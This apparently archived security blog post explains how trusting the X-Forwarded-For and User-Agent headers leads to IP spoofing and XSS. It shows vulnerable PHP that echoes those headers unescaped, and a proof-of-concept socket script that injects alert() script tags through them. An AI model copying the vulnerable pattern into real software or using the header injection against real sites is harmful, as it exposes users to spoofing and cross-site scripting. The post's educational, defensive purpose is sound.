The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    Faking the unexpected

    By Gareth Heyes (@hackvertor)

    Published 18 years 5 months ago • Last updated March 22, 2025 • ⏱️ 2 min read

    ← Back to articles

    Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-

    <pre lang="php"> &lt;?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } ?&gt; </pre>

    Suddenly a piece of assumed "safe" data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user's IP. But it gets worse...what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the "safe" data becomes a XSS injection point. The following proof of concept highlights this issue:-

    <pre lang="php"> &lt;?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } echo &quot;ip:&quot; . $userip . &quot;&lt;br&gt;&quot;; echo &quot;user agent:&quot; . $_SERVER['HTTP_USER_AGENT'] . &quot;&lt;br&gt;&quot;; ?&gt; </pre>

    The attacker then supplies the following information:-

    <pre lang="php"> &lt;?php $fp = fsockopen(&quot;127.0.0.1&quot;, 80, $errno, $errstr, 30); if (!$fp) { echo &quot;$errstr ($errno)&lt;br /&gt;\n&quot;; } else { $out = &quot;GET /ip.php HTTP/1.1\r\n&quot;; $out .= &quot;Host: 127.0.0.1\r\n&quot;; $out .= &quot;X-Forwarded-For: &lt;script&gt;alert(/Faking the unexpected/)&quot;; $out .= &quot;&lt;/script&gt;\r\n&quot;; $out .= &quot;User-Agent: &lt;script&gt;alert(/Faking the unexpected/)&quot;; $out .= &quot;&lt;/script&gt;\r\n&quot;; $out .= &quot;Connection: Close\r\n\r\n&quot;; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?&gt; </pre>

    Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?

    ← Back to articles